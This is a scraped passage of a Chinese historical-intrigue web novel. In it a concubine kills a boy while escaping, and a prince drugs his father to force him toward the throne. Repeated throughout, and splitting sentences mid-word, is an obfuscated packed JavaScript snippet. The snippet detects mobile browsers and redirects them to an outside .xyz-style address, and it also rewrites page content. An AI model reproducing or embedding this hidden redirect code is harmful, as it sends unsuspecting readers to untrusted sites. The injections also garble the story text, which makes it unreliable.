萧子景低头看着杯中摇晃着的茶水,犹豫片刻,还是伸手端了起来。 “我可以出面,但这件事结束之后,希望世子能答应我一个要求。”鼓了鼓勇气,他还是把话说出了口。 孟希越面上还没来得及展开的笑容这便淡去了几分。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781338|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “王爷先说说看吧。”他还是点了点头。 萧子景又深吸了一口气。 “等一切结束,还请世子,不,请陛下允许微臣带着家人告老还乡,离开京城,找一个安静的地方休养!” —— 三更天过半,阮莹莹却依旧了无睡意地躺在床上,看着萧子景那边的灯光熄灭下去,她缓缓地眨了眨眼,坐起身来。 衣裳依旧完好整齐地穿在身上,被子也放在床尾,阮莹莹看上去没有半点休息过的样子。 她的发尾却是微湿的,还泛着潮气。 阮莹莹起身走到空无一物的梳妆台前,用唯一的一把梳子,仔仔细细地又把自己散开的长发梳理了一遍。 方才安王世子塞给她的那张纸条上让她等待,他有话要对她说。 阮莹莹等待这一天已经等待了太长时间了。 安王世子虽然让大夫来给她治了断指,又让手下给她送过一些生活用品和食物,但自从那天之后,就再也没有给过阮莹莹任何消息。 如今终于来了! 阮莹莹已经要被萧子景这个疯子也折磨疯了,若不是有安王世子的这点承诺,她说不定早就坚持不住了。 还没等她梳完头,一个黑影悄无声息地出现在铜镜之中。 阮莹莹猛地一哆嗦,梳子掉在桌上,发出一声闷响。 “世子……”她也连忙站起身,要朝着孟希越俯身拜下。 手肘一重,孟希越扶着阮莹莹,让她重新站直了身子。 “不必多礼。” 他的声音压得很低。 “方才给你送信,本来是有别的话要说,但本世子刚刚和景平王谈完一次,有些话,还是先和姨娘透露一下为好。” “景平王打算等局势稳定之后就带着家人离开京城,这个家人的名单里面,没有阮姨娘的名字。” 阮莹莹听着这话,并不感到有多意外,只是木然地眨了眨眼。 她就知道,萧子景已经恨她入骨,恐怕巴不得她能死在京城才好。 “姨娘是如何打算的?”孟希越的声音很快响了起来。 第一百九十九章 逃离萧子景! 她还能怎么打算? 阮莹莹冷笑了一声,听上去说不出的凄惨。 “萧子景不想着我,那我也没有必要再挂念着他了。” “世子,求您把我从他身边救走吧,我愿意为世子做任何事!” 蹙着眉头,阮莹莹无比期盼地朝着孟希越看了过去。 再呆在萧子景身边,她不死也要变成一个和他一样的疯子! “妾身什么都愿意干,只要世子相信我!” 阮莹莹又上前一步,大着胆子扯住了孟希越的衣袖。 如果这位安王世子不是对她存了什么心思,何必要在一开始的时候回应她呢? 不管他存的是什么心思,公事也好,私事也罢,肯定都比跟在萧子景身边强! 屏住呼吸,阮莹莹等待着那个意想之中的回答。 “你真的什么都愿意干?” 孟希越双眼静静地看着她,逐渐露出了一点微笑的模样。 这笑容看上去有些古怪,阮莹莹却最多迟疑了一瞬间,就无比果断地点了头,“是!什么都可以!” “好!” 她话音落下,孟希越便也跟着点了点头。 “不过——” 阮莹莹刚露出笑容,听见这句但书,又立刻变得紧张起来。 不过什么? “本世子今天刚刚来过,姨娘若是就这么失踪,实在是太明显了些,恐怕得劳烦姨娘再等几日。” “没问题!”阮莹莹一口应下,又急道,“不知道世子哪天能救妾身出去?” 虽然也不差再忍几天的功夫,但阮莹莹还是一天也不想再在萧子景身边多待下去了。 孟希越见状皱了皱眉,似乎有些为难。 “最近手下的人实在是有些周转不开……不若,十日?” 还要再等十天? 饶是自认为已经做好了准备,听到这个时间,阮莹莹还是有些崩溃。 这也太久了! 十天的时间,谁能知道还要发生什么? 万一萧子景忍不住对她动手,那可如何是好? “世子,您看这样如何?” 心思急转,阮莹莹抬头朝着孟希越看了过去。 “妾身自己想办法从宅子里离开,不牵扯到您身上,只是有劳您替我准备离开后的退路,如何?” 孟希越的笑容里带着只有他自己才知道的舒心。 “若是姨娘有办法,那就再好不过了,这样吧,我替你准备一辆马车,到时候,就等在外面的巷子口,会带你先到安全的地方去。” 阮莹莹闻言心下狂喜,连连地点起头来,“那太好了!那我准备一下,天亮就动手!” “好,就这么说定了。” —— 次日一早,萧子景是被院外传来的阵阵喧闹声吵醒的。 昨天晚上孟希越离开之后,萧子景又辗转反侧了半晌,直到天亮才差不多昏睡过去,不料还没过去多长时间,又被吵醒了过来。 他艰难地睁开干涩的双眼,不耐烦地吼了一声,“怎么回事?” 眼下他们住着的这间宅子里虽然没有下人,但还是有两个孟希越的手下守门,以防发生什么意外。 可萧子景嚷嚷了半天,却始终没有任何回应的声音传来。 不仅如此,门前的吵闹声还变得更大了。 “呜呜呜……你这个不要脸的**!” 听见萧延沙哑低沉的哭声,萧子景瞪大双眼,顿时没了睡意! 他翻身下床,匆匆忙忙地来到院中,然后就被出现在眼前的情景震得又是一激灵! 院中空荡荡的,只有阮莹莹和萧延互相纠缠着滚在地上,身上都沾着血,看起来似乎经历了一场恶战。 阮莹莹手不灵活,萧延腿不能动,两人势均力敌地对抗着。 但萧延显然还是吃了年龄小的亏,明显已经有些支撑不住了。 “你们这是在干什么!”萧子景顿时暴怒着冲过来,“阮莹莹,你好大的胆子!一大早就开始欺负延儿!” 发现阮莹莹偷偷**萧延之后,萧子景便将这两个人隔绝开来,没想到,还能让她找到机会! “**,你给本王松手!” 萧延立刻满脸是泪地转过头,“爹!阮姨娘要逃跑!你快拦住她!” 逃跑? 未曾想过竟然会听见这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781339|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,萧子景脚下一滑,差点儿一个趔趄就摔倒在地! 他艰难地稳住身子,这才看到一个掉在地上的包袱,里面塞着几件属于阮莹莹的衣裳。 萧子景的眼睛又红了,“你这个**,你好大的胆子!” 她绝不能走! 否则的话,自己朝谁出气,又拿谁当挡箭牌? 萧子景连滚带爬地朝着阮莹莹扑了过来。 阮莹莹心里叫苦连天。 她送走了孟希越后也没睡觉,把自己所剩无几的家当收拾了一下,只等天刚蒙蒙亮就蹑手蹑脚地出了房间。 按照阮莹莹的计划,只要在院子里弄出点响动,让萧子景听见,再在他冲出来之前跑上马车离开,一切就都天衣无缝了。 可谁知道,还没等她动手,萧延竟然从廊下爬了过来,一把死死地抱住了她的腿! 这个小畜生昨天晚上在屋里偷看,正好看见了孟希越从她屋子里出去的场景! 阮莹莹急得要发疯,要是被萧子景知道,为了他们的合作能继续进行,安王世子肯定不会承认和她的这点小计划! 她不能就这么离开,得封上萧延的嘴才行! 只有**才能彻底闭嘴,阮莹莹想杀了萧延,可惜手不好用,萧延自知危险,也爆发出了全身的力气。 两人谁也奈何不了谁,愣是纠缠到了萧子景出现。 眼看萧子景一脸狰狞地离自己越来越近,阮莹莹恶向胆边生,一把揪住萧延的脑袋,没命地朝着地上狠狠砸了下去! “**,你给我**!” 这个永远都在破坏她计划的小畜生! “不要!” 萧子景失声大喊,可惜已经晚了,只能眼睁睁地看着萧延的后脑重重地磕在一块凸起的石头上。 鲜血顿时从他身后疯狂地涌了出来,萧延挣动几下,难以置信地望着萧子景,手脚软下,再没有了半分力气。 “延,延儿……”萧子景双膝一软,小声唤着,却没能得到任何回应。 阮莹莹将这一切都抛之脑后,一路狂奔着上了和孟希越约定好的马车,飞也似地朝前疾驰而去—— “这是什么地方?” 第二百章 这是什么地方? 马车在晨光中足足跑了一个时辰还多,才在一个荒无人烟的村子里停了下来。 阮莹莹起初还因为成功逃脱而感到兴奋,但毕竟一夜未眠,马车又颠簸得很,她不知不觉便睡了过去。 等再醒来,看着周围的荒凉景象,她顿时打起了哆嗦,转头不安地看着那个车夫。 “你把我带到这种地方来要干什么?” 京城的四门都应该被谢无咎的人看守着,他们是怎么离开京城的? 不会是安王世子想反悔吧? 车夫垂着眉眼,虽然穿着一身下人的衣裳,但浑身内敛的气息却足以证明这是个练家子。 他从车辕上一跃而下,走到瑟瑟发抖的阮莹莹面前。 “姑娘莫怕,京中眼线太多,说不定会被谢都督发现利用,那就不好了;此地乃是主子一手掌控,您呆在这里更为安全,等过上几日,主子会亲自来跟您解释的。” 这车夫的态度倒是不错,阮莹莹看着他举止有礼的模样,便也放下心来。 “那就走吧。” 有这车夫在前面带路,阮莹莹跟着他七拐八绕,往村子深处而去。 她左右看着两旁的房屋,渐渐意识到这个车夫应该所言非虚。 这片村落从外面看虽然破败了很久,但房间的门窗都是完好的,地上也没有多少灰尘,可见里面都有人居住。 既然是孟希越的安排,阮莹莹便更加松了一口气。 约莫走了一炷香左右的时间,两人才在一间祠堂模样的院子外停了下来。 “姑娘请进吧,里面有热水饭食,您可以休息了。” 将门上的锁链解开,车夫恭恭敬敬地朝着阮莹莹躬着身子道。 阮莹莹看着眼前的建筑,脚下却又犹豫起来,“怎么是在这种地方?” 就算是有人正常居住的村子,祠堂也不是随随便便就能进的吧? 况且这地方虽然好像住着人,一路走来,阮莹莹却连半个人影都没有看见,这又让她有些提心吊胆起来。 车夫低垂着的眼中闪动着的是满满的不耐烦。 “姑娘,”他努力保持声音的平稳,“小的只是奉命行事,您这些问题,还是等过些天再去问主子为好。” 听出这位的不快,阮莹莹连忙住了口。 现在她人在屋檐下,哪怕是一个小喽啰,也还是不要随便得罪为好。 露出一个笑容,阮莹莹又说了几句好话,这才转头推开院门,朝祠堂之中走了过去。 她没看到,背对着自己的方向,那车夫如释重负地抬起头来—— “砰!” “大人,搞定了。” 两声闷响接连响起,阮莹莹被打晕在地,车夫抬起头,看着从祠堂里缓步走出来的一个男人。 那人声音嘶哑,脸上带着一个全黑的面具,只露出两只同样黑得发亮的眼睛。 “多谢。”他说。 —— 等萧家发生的意外传到孟希越耳中的时候,已经是日上三竿了。 孟希越昨晚从萧家离开后也没闲着,又去各处打点观察了一番,刚回到屋中便听见了这么一个坏消息。 他眉头一皱。 “萧延**?” 前来传话的侍卫闻言,连忙把脑袋又埋得低了一些,“是……阮姨娘那一下,把他的后脑撞破了,正在要害,小的们听见声音不对,赶过去已经晚了……” 既然阮莹莹要逃跑,侍卫们肯定不能在场,否则,萧子景事后一想就会发现破绽。 却没想到,反而耽搁了这样的事情。 孟希越听着这话,闭上双眼深深地叹了一口气。 “从爹到儿子,没有一个是有正经心思的!” 萧子景整天一双眼珠子乱晃,不知道在想什么,这个萧延也是,大半夜的不睡觉,腿都不能动了也要偷看! 横生枝节,孟希越心烦意乱地猛锤了一把桌子! “主子……” 那侍卫战战兢兢地等在一旁,直到听着孟希越的呼吸平稳下去,这才哆哆嗦嗦地又上前两步。 “说。”孟希越依旧闭着眼睛,表情十分不快。 “那个……景平王正在院子里吵闹,要,要您给他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787260|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个说法……” 大着胆子把这话说出来,侍卫的两条腿都在哆嗦着,更是深深地弯着腰,恨不得把自己埋到地缝里去。 孟希越听着这话猛地睁开眼睛,气得笑出了声。 “他要管本世子要说法?什么说法?问阮莹莹逃跑的时候我为什么不在?” 这简直就是荒谬! 那侍卫越发哆哆嗦嗦着,“景平王说,说阮姨娘之所以能逃跑成功,就是因为小的们不在院子里,萧小世子身亡也是因为这个,他让您,让您处置小的们!” 说到最后,这侍卫又是委屈,又是害怕。 萧小世子的死谁也没想到,的确是个意外,但他们当时不在,这也是事实来着! 万一主子想用他们的命安抚景平王,那似乎也不是什么不可能的事情…… 侍卫又哆嗦得更加厉害起来。 “他是这么说的?” 听到萧子景这个要求,孟希越眨了眨眼,倒是露出了一点思索的神情。 “景平王现在状态如何?”他又朝那侍卫身上看了一眼,“如实说来。” 那侍卫不敢隐瞒。 “景平王抱着小世子的尸体,已经在院子里坐了整整一早上,他不让小的们上前帮忙,只是说着让您过去替他主持公道。” “主子,”他实在是忍不住,上前两步,眼巴巴地看着孟希越,“小的们都是听命行事,您,您……” 望着他眼中的求救,孟希越终于笑了起来。 “放心,你们是我的手下,本世子当然要护着你们。不过——” 他忽然话锋一转,神情中也带上了深意,“这件事的确不能置之不理,景平王那边,本世子总得给个说法才行。” 孟希越的态度反复横跳,这侍卫听不懂,苦着脸道,“主子,您就说吧,给小的一个痛快!” “放心,不会把你们怎么样的,都跟我来吧。” 将守在萧家的几个侍卫都叫了过来,孟希越低语几句,而后便带着他们,翻墙来到了萧子景的面前。 “世,世子……就是这些狗奴才!” 第二百零一章 世子讨好本王的一百个证据! 望着忽然出现在眼前的孟希越,萧子景先是愣了一下,然后便朝着站在他身后的那几个侍卫大声地喊了起来。 孟希越飞快地朝着院中扫了一眼。 地上到处都是鲜血,已经干涸了凝固在土壤之中,萧延的身体已经僵硬发青,被萧子景搂在怀中,一动不动的样子瞧着有些瘆人。 他死不瞑目,双眼上翻,里面还带着些难以置信。 “王爷,节哀吧。” 收回目光,孟希越轻叹一声,朝着地上的两人走了过去。 他抬手轻轻地把萧延的双眼合上,看着孟希越的动作,萧子景忽然又哽咽了起来。 “世子,我,我就这一个儿子啊!” 萧子景对萧延还是有几分真情在的,一来这是要传宗接代的儿子,二来,以萧子景现在的情况,萧延就是他唯一的后代了。 现在,什么都没了! 悲从中来,萧子景忍不住又大声地嚎哭着,声音哆嗦个不停。 他绝后了,他绝后了! “王爷,王爷,您冷静一下,莫要伤了身子。” 孟希越几度想开口说点什么,却都被萧子景的哀嚎压了过去,不得不也跟着抬高了声音。 “小世子这样下去也不像话,若是王爷信任本世子,便将小世子暂时交给我来处理,我找个安静的好地方,让他入土为安,如何?” 萧子景抽抽搭搭地看着孟希越,鼻子又是一酸,这回是多少有些被感动到了。 就算这位安王世子对他是居心叵测,但这种时候,终究还是帮了他一把! “那,那就多谢世子了。”他又吸了吸鼻子。 “应该的。” 孟希越让自己的随从上前,给萧延身上盖了块布,又抱着他离开,萧子景双眼直勾勾地盯着他的动作,直到那随从消失不见,才失魂落魄地收回目光。 这个时候,他的眼神终于又扫过站在孟希越身后的侍卫们,顿时变得仇恨起来。 “世子!就是你的这些手下**,放任阮莹莹那个**逃跑也就算了,还让她害了我的延儿!您得给我一个说法!” 萧子景眼睁睁地看着萧延死在自己怀中,阮莹莹又跑了,他找不到出气口,越发迫切地需要一点发泄的办法。 他猛地从地上跳了起来,带着一身的污血,三步并作两步就朝着这些侍卫冲了过去。 “你们这群废物!本王要杀了你们!” 踉踉跄跄地朝前跑着,萧子景的一双眼睛却止不住地朝站在一旁的孟希越看过去。 “还不跪下受死!” 察觉到他的偷窥,孟希越却也装作不觉,反而背起双手,也朝着那几个侍卫厉声喝道。 “这么重要的差事都敢懈怠,本世子要你们有什么用!” 一边冷声质问着,孟希越一边抬起脚,在萧子景之前便将几个侍卫全都踹翻在地! “废物,一群废物!要不是你们,景平王怎么会如此痛苦?没用的东西!” 脚下不停地踹着,孟希越的动作显然是毫不留情,砰砰的闷响落在侍卫们身上,后者也咬紧牙关,神情痛苦地隐忍着。 见状,萧子景倒是吓了一大跳,原本想狠狠落下的拳脚好像忽然也没了该放的地方。 他没想到安王世子的反应竟然如此之大,可等转念一想,萧子景又觉得自己好像明白了过来。 难道……这是故意在帮自己出气,好博得自己的好感? 饶是在这个应该悲愤的时候,他还是控制不住地打了个哆嗦。 如果真的是这样的话,那他还要不要让安王世子处理这些侍卫? 万一,万一这世子日后以此要挟,那他该怎么办才好? 萧延毕竟已经**,怎么也不会再活过来,可萧子景还得继续活下去,若是被安王世子挟恩图报,那…… 越想越觉得就是如此,萧子景哆嗦得更加厉害了。 杀,能给延儿和自己出口气,但不杀,至少他不会亏欠孟希越太多。 活人还是**,委屈谁,萧子景很快就做出了决断。 他闭了闭眼,心道延儿,你别怪父王,等父王成功从这泥潭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787261|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中脱身,一定给你多烧元宝! “世子,算了吧。” 彼时孟希越还在打骂那几个侍卫,忽然听见萧子景这般说,脚下的力道一个没收住,真的狠狠踹上了其中一人的后背。 那侍卫一口气滚出去好几步,撞在墙上,疼得脸色发青,硬是咬紧了牙关也没发出一点儿声音。 “王爷?” 整理了一下情绪,孟希越带着淡淡的疑惑朝萧子景看了过去。 按照他的打算,若萧子景的愤怒实在压抑不住,孟希越是要让这些侍卫们演一场假死的。 可现在,萧子景竟然摆出了一副要息事宁人的口吻? 这可不像是他的作风。 孟希越越发狐疑起来。 萧子景的嘴角不住地抽动着,又叹了口气,“事已至此,再说什么也不能让延儿回来了,还是算了,就这样吧。” 竟然是真的要偃旗息鼓? 饶是孟希越来之前就想了几套应对的方案,这会儿亲耳听着萧子景这样说,他也还是有些应对不及。 萧子景则是绞尽脑汁地想着要怎么才能不承安王世子的这份情。 他真的承受不来! “毕竟,毕竟之后还有更重要的事情要办,这会儿罚了他们,岂不是自断手脚?世子实在是没必要为了本王做到这份儿上。” 既然萧子景都这么说了,那孟希越倒也不必再故作姿态。 “那就多谢王爷善解人意了。” 收回脚,又秉承着做戏要全套的想法,孟希越重重地将那几个侍卫呵斥了一番,方才摆手让他们退下。 “出了这样的事实在是突然,本该给王爷一些休息的时间,但外面的布置都已经就绪……” 轻叹一声,孟希越打量着萧子景的表情,终于把这话说出了口。 若不是害怕萧子景撂挑子坏了大事,他也不想如此大张旗鼓地折腾自己的手下! 萧子景定了定神,视死如归般地抬起头来。 “没关系,我准备好了,世子打算怎么做,直说就是!” 第二百零二章 送安王入宫! 三天后。 黎明之际,天色将亮未亮,孟希越已经站在了安王别院之外。 他只身一人前来,守在别院门前的侍卫见到他,立刻低下头去,“主子!” “王爷最近过得怎么样?” 点了点头,孟希越说起自己亲爹的语气十分冷淡。 他上次把安王别院团团包围之后,一连这么多天过去,却什么异样都没有发生。 安王没有动静,忠义公公也并未做出任何举动。 郭嬷嬷已经被他处死,死前无论是什么样的严刑拷打,都没能撬开她的嘴。 究竟是谁暴露了郭嬷嬷? 想到这儿,孟希越的神情变得更加淡漠。 门前的两个侍卫对视一眼,说话的态度便变得更加小心。 “王爷,王爷没什么异样……” 不光没有异样,发现自己被亲儿子关在别院之后,安王最多也就震惊愤怒悲伤抑郁了不到一天的时间,便好像完全恢复了正常! 不仅如此,这位还发现了这些守卫们的新用处,连外出采买的活儿都交给了他们,要求还不少! 看在安王是孟希越亲生父王的份儿上,两个侍卫最终还是没有把这些话说出来。 不过,看着两人憋憋屈屈的脸色,孟希越也大概能猜到他们这段时间都经历了什么。 自己那位父王是多么一个能屈能伸的人物,孟希越早就领教过了。 “开门吧,被关了这么长时间,父王也该出来走动走动了。”他轻飘飘地道。 侍卫们听了这话,表情齐齐变得严肃起来。 院门一道道敞开,孟希越大步向前,一直走到了安王的卧房门外。 屋里一片昏暗,隐隐还有呼噜声响起,显然外面的这些动静没有一点儿落到了安王耳中。 无声地叹了口气,孟希越一把推开房门便走了进去。 “父王,该起床了。” 口中说着话,孟希越手下毫不留情,一把便将安王从床上拎了起来! 这动作做起来并不容易,安王似乎又圆润了一些,孟希越的额头上都因为这个动作迸出了青筋。 他尽量舒缓地把安王放在地上。 “嗯?嗯??” 骤然被人从睡梦中唤醒,安王睡眼惺忪,神情迷茫,漫无目的地到处看来看去,明显就是还没清醒的模样。 孟希越等了半晌,才等到安王的目光聚焦在自己身上。 “呃……希越啊,你,你怎么来了?” 用力揉了揉眼睛,安王的语气十分缥缈,似乎以为自己还在梦中没有醒来。 孟希越好整以暇地看着他,不想说话,打了个响指,立刻有几个侍卫走了进来,按着安王开始给他穿衣打扮。 “诶诶诶?你们这是要干什么?” 被忽然上前的侍卫们彻底吓醒了,安王左右摇摆,来回挣扎,却还是没能敌得过侍卫们的力气,被按着套上朝服,又束起了冠发。 这副明显是要入京上朝的打扮,让安王越发不安起来。 “孟希越!你又要闹什么幺蛾子?”他梗着脖子朝一旁的儿子看过去,“今天是什么日子?我上什么朝?” 昭德帝早就免了安王的大小朝会,除了一些必要的宫宴,安王一年到头也去不了几次皇宫。 孟希越抱着双臂,冷眼看着手下打扮安王,直到镜中的人有了衣冠楚楚的模样,他才一摆手让侍卫们退了下去。 “父王。” 叹息般喊了一声,孟希越摇着头走到了安王身边。 “儿子要告诉您一个坏消息,圣上被奸人所害,已经快不行了。” “你这个逆子——你说什么?” 还在和身上的衣带搏斗,安王心不在焉地骂着孟希越,又在听到他的话后猛地倒吸了一口冷气。 “怎么会这样?”他猛地站起身来,“谁这么狗胆包天?圣上怎么了,太医呢?” 孟希越权当自己没听见那四个字。 “圣上中了怪毒,药石无医,恐怕没几天能活了,趁最后的这点时间,儿子带您去看看他吧,也算全了您两位的手足情意。” 安王眼神茫然,捂着胸口不住地喘着粗气,口中一迭声地喃喃自语着,满是不可置信。 “走吧父王,晚了就赶不上了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787262|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 没再多说什么,孟希越直起身子,率先朝门外走去。 安王下意识地起身跟上,又走了两步却忽然顿住了。 “这些事情,你是怎么知道的?”他皱起眉头,忽然之间就有了几分威严在身上。 孟希越的脚下也是一顿,旋即若无其事地转过身来。 “京中都已经知道了,这不是秘密。” 安王却依旧板着脸。 “不可能,我了解圣上,就算他真的中了怪毒,也不会把这件事告诉所有人。” “到底怎么了,孟希越,你给我老实交代,这件事,是不是跟你有关?” 孟希越张了张口,难得在自己这个父王面前被问得哑口无言。 他神色微动,安王却犹如神助一般,上前两步,死死地盯着孟希越的眼睛。 “你要带我进宫,究竟是干什么?希越,你别犯糊涂!” 父子二人四目相对,一切尽在不言中。 孟希越终于彻底放下了伪装和掩饰,露出一个有些疯狂的笑容。 “同是先帝的儿子,父王您还占了兄长的身份,这个皇帝的位置,凭什么只能让圣上坐?” “如今圣上的情况不好了,他膝下无子,一旦薨了,这个天下无人接手,岂不是要乱成一锅粥?” “父王,宫中那个位置,除了您,还有谁更配坐上去?龙椅需要您,天下江山,更需要您啊!” 安王瞪大了双眼,已经完全被孟希越疯狂的模样镇住了。 “你,你这是疯了不成!” 刚刚能做出反应,他便跳起来朝着孟希越大吼。 “那是圣上!一国之君你也敢,你真敢——!” 后面的话他说不下去了,怒气冲冲地瞪着眼前的儿子,又仿佛是在看一个陌生人一般。 “你疯了,”他眉头紧皱,“你真的疯了,赶快停手!说不定一切还来得及!” 孟希越弯着嘴唇,露出一个非常难看的冷笑。 “父王,儿子这么好的一片心意,你竟然不接受?那可不行,这份大礼,您必须收下!” “来人!送安王入宫!” 第二百零三章 来得及,来不及 “你,你疯了!我不去,我不去!” 孟希越一声令下,立刻有几个黑衣人沉着脸走进屋中,二话不说将安王架起来就朝着外面大步走去。 安王奋力挣扎,高声嚎叫,却依旧敌不过这些黑衣人们的力气,被举到半空中,只有脚尖能勉强点地。 他转头狂怒地看向孟希越。 “疯子,你这个疯子!你到底还要干什么?赶快住手,不要等来不及了才后悔!” 孟希越的脸色忽然变得无比阴沉,两大步走上前去,冷冰冰的目光死死地盯住了安王。 安王顿时被从他身上散发出来的煞气镇得打了个哆嗦,不知道该说什么才好了。 “儿子不会后悔。” 直勾勾地看着安王的眼睛,孟希越一字一顿地说道。 “倒是父王,如果你胆敢在今天坏了我的好事,我会让你后悔万分!” 他把话说得这样直白,安王不由得愣愣地看着眼前的儿子,半晌之后才苦笑了一声。 “生出你这样的孽畜,你以为,我没有在后悔吗?” 他只不过想当个游手好闲的闲散王爷,吃吃喝喝度过一生,从来没想过要当什么皇帝啊! 真要当皇帝,他年轻的时候去争去抢还不行吗? 都这把年纪了,这皇帝,谁爱当谁当啊! 为什么非得是他—— 刚想到这儿,安王的脸色忽然一变。 是啊,想当皇帝的人不是他,但孟希越敢干出这样的事情,篡权夺位,便是日后真能让他成功了,这个名头也会一直挂在他身上。 但要是皇帝换个人做,那就不一样了。 比如,身为孟希越他亲爹的自己! 等他百年之后,皇帝给唯一的儿子传位,那可是就成了理所应当! 安王猛地倒吸了一口冷气! “你,你这个逆子!” 把亲爹推到风口浪尖背负骂名,遗臭万年是吧! 这也太过分了! 孟希越面无表情地看着他跳脚,气得脸色通红,却依旧踩不着地面的样子。 “爹,是今天就死,还是再享受几十年再死,你自己考虑吧。” 抛开父王的名讳,孟希越看着安王,这句话说得堪称冷酷。 “你——” 安王又猛猛地吸了一口气,感到眼前发黑,什么话都说不出来了。 孟希越这是已经铁了心要做到底了! “走!” 孟希越又是一声令下,黑衣人们再度架起安王,大步流星地走到院外的马车前,动作粗鲁地把他塞了进去。 “无礼。” 看着被塞得七荤八素的安王,孟希越眼底闪过一丝得意的畅快神色,探了半个身子进到车厢中,煞有介事地替安王整理起了胸前的衣裳。 安王用尽自己全身的力气,一把抓住了他的手腕。 “希越!”安王声音颤抖,目光里也带上了恳求,“你就听父王这一回,这件事不能做,真的不能做!” 这是谋权篡位,要掉脑袋的啊! 安王已经是唯一存留的皇亲国戚,有这个身份在,哪怕孟希越也是个游手好闲无所事事的,只要他不**放火,后半生的荣华富贵还是享不尽的! 可他怎么就这么想不开呢? 安王用力攥着孟希越想抽走的手,“你一定要听父王的,别去,别去,现在还来得及啊!” “来不及了。” 孟希越咬了咬牙,一把将自己的手狠狠地抽了出来! 也不知道安王是从什么地方忽然长出的这么大的力气,看着自己手腕上的一圈红痕,孟希越的脸色又阴沉了几分。 “父王,多说无益,只要你还想要命,今天就听儿子的,儿子保你坐上那个位置,下半辈子都当人上人!” “不过……还是保险些为好。” 看着安王这副惊慌失措已经到了极致的模样,孟希越眸子一沉,随手从腰间摸出一个小瓷瓶,打开来又倒出了一颗药丸。 他一把捏住安王的下巴,硬是把药丸塞了进去。 “唔唔唔!” 安王挣扎不得,想说话,嘴一张,那药丸顿时顺着喉咙滑进胃里,立刻就融化开来。 孟希越松了手,安王捂着脖子干呕了两声,却是无果。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793432|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你,这是什么东西?”他震惊地望着孟希越。 孟希越又笑了笑,眼底不带一丝情绪。 “能让父王安静听话的东西、” 胃里火辣辣地烧着,那感觉十分不妙,安王难以置信地盯着眼前的儿子,好像从来都不认识他一般。 孟希越也不带任何感情地朝着他看去一眼,随后决然地收回了目光。 “走,出发!” 转身跳下马车,孟希越一声令下,车队便浩浩荡荡地朝着京城的方向行驶而去。 望着窗外飞速掠过的景色,安王还想说什么,却眼皮发沉,手脚无力,很快就失去了所有的力气,一头栽倒在车厢之中。 车队最前方,孟希越端坐马上,想着和安王方才的对话,不由得皱起眉头,双手也攥紧了缰绳。 来不及,来得及。 他的父王好像表露出了什么东西。 心下微微涌起一阵不安,孟希越又反复想着两人刚才的对话。 他分明觉得什么地方有些不对劲,却又说不出来…… 